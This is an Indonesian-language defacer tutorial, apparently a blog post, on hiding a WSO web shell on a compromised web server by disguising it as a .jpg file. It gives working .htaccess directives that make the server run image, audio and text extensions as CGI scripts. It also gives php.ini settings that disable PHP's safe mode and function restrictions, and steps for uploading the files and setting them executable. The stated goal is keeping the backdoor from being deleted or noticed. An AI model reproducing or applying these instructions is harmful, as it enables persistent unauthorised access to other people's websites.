Assalamualaikum
Sedikit cara dari saya, cara upload shell jpg .
Guna shell jpg adalah meminimalisir
- terhapusnya shell
- ketahuan defacer lain
Oke, simak baik-baik ya :)
- Siapin backdoornya
- Buat directory baru
- Upload .htaccess, shell.jpg dan php.ini
- Chmod shell.jpg menjadi 0755
Langkah 1, Siapin backdoor/shell nya :)
saya menggunakan shell wso , bisa di download disini .
wso.jpg + CGI Shell + Uploader.jpgPassword rar:Copy code .htaccess berikut ini ke notepad lalu save ,
filename : .htaccess
type : All files
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .jpg
AddHandler cgi-script .jpg
AddHandler cgi-script .jpg
Copy code php.ini berikut ini ke notepad lalu save,
filename : php.ini
type : All files
safe_mode = off
disable_functions = NONE
Langkah 2. buat direktory baru dengan cara make nama direktory agar .htaccess yang asli tidak terganti dengan .htaccess yang nntinya akan kita upload. Misal nama directorynya thumb
Langkah 3. Upload Backdoor/shell tadi dengan .htaccess dan php.ini
Langkah 4. Chmod permissions file nya jadi 0755 (
-rwxr-xr-x )
Lalu,
DOOORRRR..
Success =)
Cara upload shell yang ber.ekstensi mp3 , txt, swf dan lain sebagainya...
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .jpg -> ganti menjadi .mp3
AddHandler cgi-script .jpg -> ganti menjadi .mp3
AddHandler cgi-script .jpg -> ganti menjadi .mp3
Untuk shell mp3,
code .jpg pada .htaccess diganti .mp3
Untuk shell txt,
code .jpg pada .htaccess diganti .txt
Untuk shell swf,
code .jpg pada .htaccess diganti .swf
dan lain sebagainya....
txt, mp3, swf, dan lain ekstensi bisa hanya mengganti code .jpg menjadi .mp3 dan sebagainya
Sekian, Terima kasih..
